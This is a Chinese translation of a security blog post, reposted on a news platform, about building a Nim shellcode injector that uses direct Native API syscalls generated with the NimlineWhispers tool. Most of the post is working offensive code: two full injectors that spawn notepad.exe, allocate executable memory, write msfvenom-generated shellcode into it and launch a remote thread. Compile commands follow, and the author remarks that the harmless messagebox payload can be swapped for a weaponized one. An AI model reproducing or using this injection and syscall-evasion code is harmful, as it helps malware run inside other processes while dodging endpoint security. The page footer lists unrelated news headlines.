网易首页 > 网易号 > 正文 申请入驻

探索如何使用Nim和Syscall实现Shellcode注入

0
分享至

在刚刚研究过在Beacon Object Files(BOF)中如何进行系统调用之后,我开始尝试研究Nim语言。这起源于我看到了@byt3bl33d3r的一条推文:

“OMG,我做到了!来自Nim的Win32系统调用!”

——Marcello(@byt3bl33d3r) 2021年1月12日

我立即联想到,Nim在语法上看起来与Outflank的InlineWhispers输出的内联汇编程序相似,并且我们可以为Nim实现类似的功能。经过了几个小时,在分析了许多嵌套的for循环之后,我们就得到了NimlineWhispers的概念验证版本。

在这篇文章中,我们将逐步介绍如何使用NimlineWhispers移植现有的Nim项目,以使用Syscalls和Native APIs。

0x01 初始代码

我们将使用Marcello的OffensiveNim仓库中的示例。如果大家对Nim还不是很了解,那么Marcello的仓库非常适合大家尝试安装、编译、阅读代码示例和学习技巧,我强烈建议大家去了解一下。

我们将使用的代码示例会派生出一个目标进程(在本例中为notepad.exe),并使用经典的CreateRemoteThread注入技术来分配内存,在该进程中编写并启动包含弹出消息框的Shellcode。原始代码如下所示:

Author: Marcello Salvati, Twitter: @byt3bl33d3r

License: BSD 3-Clause

import winim/lean

import osproc

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

# Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D

let tProcess = startProcess("notepad.exe")

tProcess.suspend() # That's handy!

defer: tProcess.close()

echo "[*] Target Process: ", tProcess.processID

let pHandle = OpenProcess(

PROCESS_ALL_ACCESS,

false,

cast[DWORD](tProcess.processID)

defer: CloseHandle(pHandle)

echo "[*] pHandle: ", pHandle

let rPtr = VirtualAllocEx(

pHandle,

NULL,

cast[SIZE_T](shellcode.len),

MEM_COMMIT,

PAGE_EXECUTE_READ_WRITE

)

var bytesWritten: SIZE_T

let wSuccess = WriteProcessMemory(

pHandle,

rPtr,

unsafeAddr shellcode,

cast[SIZE_T](shellcode.len),

addr bytesWritten

)

echo "[*] WriteProcessMemory: ", bool(wSuccess)

echo " \\-- bytes written: ", bytesWritten

echo ""

let tHandle = CreateRemoteThread(

pHandle,

NULL,

0,

cast[LPTHREAD_START_ROUTINE](rPtr),

NULL,

0,

NULL

)

defer: CloseHandle(tHandle)

echo "[*] tHandle: ", tHandle

echo "[+] Injected"

when defined(windows):

# https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler

when defined(i386):

# ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays

echo "[*] Running in x86 process"

var shellcode: array[272, byte] = [

byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,

...

0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,

0x55,0x08]

elif defined(amd64):

# ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays

echo "[*] Running in x64 process"

var shellcode: array[295, byte] = [

byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,

...

0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,

0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

# This is essentially the equivalent of 'if __name__ == '__main__' in python

when isMainModule:

injectCreateRemoteThread(shellcode)

为了简单起见,我们将按照常规方式派生notepad.exe进程,仅关注在Syscalls函数中的注入过程。

0x02 转换为Native函数

在这里,我们不去探讨高级VS本地API的调用,这一部分目前已经有很多相关文章,特别是在应用程序攻防方面。

就我们的目标而言,需要将高级的函数替换为以下Native API调用:

OpenProcess -> NtOpenProcess

VirtualAllocEx -> NtAllocateVirtualMemory

WriteProcessMemory -> NtWriteVirtualMemory

CreateRemoteThread -> NtCreateThreadEx

CloseHandle -> NtClose

这些函数需要使用不太一样的参数和数据结构。阅读NTAPI Undocumented Functions这类资源可以有助于我们深入了解其中需要定义的内容,例如NtOpenProcess所需的CLIENT_ID和OBJECT_ATTRIBUTES结构。

0x03 使用NimlineWhispersPermalink

使用所需的本地函数列表,我们可以生成内联汇编程序。首先,我们先克隆一下NimlineWhispers仓库:

git clone https://github.com/ajpc500/NimlineWhispers.git

修改functions.txt,以包含我们的五个Native API函数:

·NtCreateThreadEx

·NtOpenProcess

·NtAllocateVirtualMemory

·NtWriteVirtualMemory

·NtClose

使用以下命令,运行NimlineWhispers:

python3 NimlineWhispers

这将会生成一个syscalls.nim文件,其中包含{.passC:"-masm=intel".}标头,我们需要使用内联汇编程序对其进行编译。

如果想要将它与我们现有的代码集成到一起,需要将它添加到同一目录中,并将include syscalls附加到导入的末尾,如下所示。

#[

Author: Marcello Salvati, Twitter: @byt3bl33d3r

License: BSD 3-Clause

]#

import winim/lean

import osproc

include syscalls <-- syscalls lib

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

...

其中需要说明的是,SysWhispers仅向我们提供64位内联程序集,而当我们将其提供给NimlineWhispers时,同样也只能是64位。

0x04 修改代码

现在,我们可以开始将必要的代码添加到项目中,以调用所包含的内联程序集Native函数。在将syscalls.nim添加到项目之后,我们就可以正常调用Native函数,例如可以参考下面的NtOpenProcess。

var cid: CLIENT_ID

var oa: OBJECT_ATTRIBUTES

var pHandle: HANDLE

cid.UniqueProcess = tProcess.processID

var status = NtOpenProcess(

&pHandle,

PROCESS_ALL_ACCESS,

&oa, &cid

)

通过添加必要的变量和函数,最终得到以下代码:

#[

Author: Marcello Salvati, Twitter: @byt3bl33d3r

License: BSD 3-Clause

]#

import winim/lean

import osproc

include syscalls

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

# Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D

let tProcess = startProcess("notepad.exe")

tProcess.suspend() # That's handy!

defer: tProcess.close()

echo "[*] Target Process: ", tProcess.processID

var cid: CLIENT_ID

var oa: OBJECT_ATTRIBUTES

var pHandle: HANDLE

var tHandle: HANDLE

var ds: LPVOID

var sc_size: SIZE_T = cast[SIZE_T](shellcode.len)

cid.UniqueProcess = tProcess.processID

var status = NtOpenProcess(

&pHandle,

PROCESS_ALL_ACCESS,

&oa, &cid

)

echo "[*] pHandle: ", pHandle

status = NtAllocateVirtualMemory(

pHandle, &ds, 0, &sc_size,

MEM_COMMIT,

PAGE_EXECUTE_READWRITE);

var bytesWritten: SIZE_T

status = NtWriteVirtualMemory(

pHandle,

ds,

unsafeAddr shellcode,

sc_size-1,

addr bytesWritten);

echo "[*] WriteProcessMemory: ", status

echo " \\-- bytes written: ", bytesWritten

echo ""

status = NtCreateThreadEx(

&tHandle,

THREAD_ALL_ACCESS,

NULL,

pHandle,

ds,

NULL, FALSE, 0, 0, 0, NULL);

status = NtClose(tHandle)

status = NtClose(pHandle)

echo "[*] tHandle: ", tHandle

echo "[+] Injected"

when defined(windows):

# https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler

when defined(i386):

echo "[!] This is only for 64-bit use. Exiting..."

return

elif defined(amd64):

# ./msfvenom -p windows/x64/messagebox -f csharp, then modified for Nim arrays

echo "[*] Running in x64 process"

var shellcode: array[295, byte] = [

byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,

...

0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,

0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

# This is essentially the equivalent of 'if __name__ == '__main__' in python

when isMainModule:

injectCreateRemoteThread(shellcode)

现在,我们可以使用以下命令进行编译:

nim c -d=mingw --app=console --cpu=amd64 SysCallsMessageBoxShellCodeInject.nim

如果你进行了上述尝试,现在应该可以看到类似如下的输出:


0x05 添加其他结构

那么,在这里出了什么问题呢?尽管我们没有调用Winim提供的函数,但它仍然包含在windef.nim中提供的所有结构之中。除此之外,我们还需要另外的两个结构。

这两个结构是PS_ATTRIBUTE和PS_ATTRIBUTE_LIST。我们可以从@Jackson_T的SysWhispers项目中得到这些结构的定义,并将其添加到syscalls.nim文件的最上方。

type

PS_ATTR_UNION* {.pure, union.} = object

Value*: ULONG

ValuePtr*: PVOID

PS_ATTRIBUTE* {.pure.} = object

Attribute*: ULONG

Size*: SIZE_T

u1*: PS_ATTR_UNION

ReturnLength*: PSIZE_T

PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE

PS_ATTRIBUTE_LIST* {.pure.} = object

TotalLength*: SIZE_T

Attributes*: array[2, PS_ATTRIBUTE]

PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST

现在,我们尝试重新编译:

成功!如果现在运行编译后的可执行文件,应该就可以成功弹出消息框了。

当然,这个无害的消息框代码是可以被替换为其他内容的,也就是可以被武器化利用。

0x06 总结

在这篇文章中,我们了解了如何让一个Nim项目适应本地API函数,这些函数可以作为内联程序集包含在我们的项目中,并且使用NimlineWhispers生成。我们可以说,目前使用这个工具只做了概念验证,其中的原因之一是我还在学习Nim中。对我们而言,接下来可以做的(Cas van Cooten也提出过)是将所需的数据类型和结构加入到NimlineWhispers syscalls.nim输出中。这样便可以利用这个输出,无需导入Winim包,并且能够解决任何结构丢失的问题。

希望这篇文章对想要将Syscalls集成到Nim项目的研究者有所帮助,我非常希望能对NimlineWhispers进行持续改进,因此欢迎大家Pull Requests。

参考及来源:https://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
中国货船通过霍尔木兹海峡,伊朗:仅针对美以欧…

中国货船通过霍尔木兹海峡,伊朗:仅针对美以欧…

观察者网
2026-03-05 18:05:08
真只死了6个?曝美军承包商紧急招聘数名临时工,专门处理阵亡士兵物品

真只死了6个?曝美军承包商紧急招聘数名临时工,专门处理阵亡士兵物品

不掉线电波
2026-03-06 10:00:34
安徽大学有学生研究哈梅内伊思想

安徽大学有学生研究哈梅内伊思想

深度报
2026-03-05 22:44:32
38+16+5帽还0失误!文班亚马再显顶级天赋刷纪录 马刺近14战13胜

38+16+5帽还0失误!文班亚马再显顶级天赋刷纪录 马刺近14战13胜

颜小白的篮球梦
2026-03-06 11:39:24
杜兰特23分6板火箭OT不敌勇士,波杰26分9篮板谢泼德30分

杜兰特23分6板火箭OT不敌勇士,波杰26分9篮板谢泼德30分

湖人崛起
2026-03-06 11:23:50
多家车企大降价,我听到一片欢呼

多家车企大降价,我听到一片欢呼

新行情
2026-03-05 15:00:34
阿里决绝“干掉”林俊旸,一场关于千问“集体叛逃”的误读

阿里决绝“干掉”林俊旸,一场关于千问“集体叛逃”的误读

一视财经
2026-03-05 21:21:03
欧洲下达了 “逐客令”,C919下调15米标准,不是妥协而是破局!

欧洲下达了 “逐客令”,C919下调15米标准,不是妥协而是破局!

阿纂看事
2026-03-05 11:54:48
暴涨819%后买在山顶,满仓硬扛竟亏近5万

暴涨819%后买在山顶,满仓硬扛竟亏近5万

财经智多星
2026-03-05 12:18:48
KD加时连丢两罚 火箭输勇士送温暖!湖媒怒喷:史上最假西部第三

KD加时连丢两罚 火箭输勇士送温暖!湖媒怒喷:史上最假西部第三

Emily说个球
2026-03-06 11:27:57
6天崩盘:伊朗“打几个月”的豪言为何瞬间破产

6天崩盘:伊朗“打几个月”的豪言为何瞬间破产

斌闻天下
2026-03-05 22:52:36
万万没想到!两会最火提案不是医疗和就业,而是霍启刚的这一举动

万万没想到!两会最火提案不是医疗和就业,而是霍启刚的这一举动

查尔菲的笔记
2026-03-05 20:24:50
全网炸了!骨折傅盛直播翻车:龙虾3分钟救场,10万人看懵了

全网炸了!骨折傅盛直播翻车:龙虾3分钟救场,10万人看懵了

新智元
2026-03-05 15:37:16
全国政协委员张凯丽:建议统一并简化演员署名体系,扭转“唯番位论”畸形风气

全国政协委员张凯丽:建议统一并简化演员署名体系,扭转“唯番位论”畸形风气

封面新闻
2026-03-05 12:24:38
亡母被结婚后续:舅舅曝光炸裂,错换人生,以擦边主播谋生再翻身

亡母被结婚后续:舅舅曝光炸裂,错换人生,以擦边主播谋生再翻身

离离言几许
2026-03-05 16:57:11
物理学停滞100年,三座大山难以逾越!或许永远都无法进步?

物理学停滞100年,三座大山难以逾越!或许永远都无法进步?

心中的麦田
2026-03-03 20:19:10
“160万江景房里最窒息的一幕”,炸出了多少心穷的中国家长

“160万江景房里最窒息的一幕”,炸出了多少心穷的中国家长

小椰子专栏
2026-03-03 13:02:56
又一闫学晶浮现!过气女星直播哭穷,每月开销6位数,仍然不满足

又一闫学晶浮现!过气女星直播哭穷,每月开销6位数,仍然不满足

潮鹿逐梦
2026-03-05 15:23:41
数学物理双科150分!西安交大考研惊现物理大神,网友:牛顿重生

数学物理双科150分!西安交大考研惊现物理大神,网友:牛顿重生

火山詩话
2026-03-06 05:39:34
美国土安全部部长被解职

美国土安全部部长被解职

大风新闻
2026-03-06 08:02:03
2026-03-06 11:47:00
嘶吼RoarTalk incentive-icons
嘶吼RoarTalk
不一样的互联网安全新视界
8188文章数 10545关注度
往期回顾 全部

科技要闻

独家|除夕加班、毫无黑料!林俊旸无奈离场

头条要闻

特朗普强势要求赦免内塔尼亚胡 曾公开贴心为其推椅子

头条要闻

特朗普强势要求赦免内塔尼亚胡 曾公开贴心为其推椅子

体育要闻

跑了24年,他终于成为英超“最长的河”

娱乐要闻

周杰伦社交媒体晒昆凌,夫妻感情稳定

财经要闻

黄金,牛市没了?!

汽车要闻

710km长续航+闪充 宋Ultra EV预售15.5万起

态度原创

本地
艺术
健康
家居
公开课

本地新闻

食味印象|一口入魂!康乐烤肉串起千年丝路香

艺术要闻

敦煌壁画里的“动物世界”,温馨有爱!

转头就晕的耳石症,能开车上班吗?

家居要闻

暖棕撞色 轻法奶油风

公开课

李玫瑾:为什么性格比能力更重要?

无障碍浏览 进入关怀版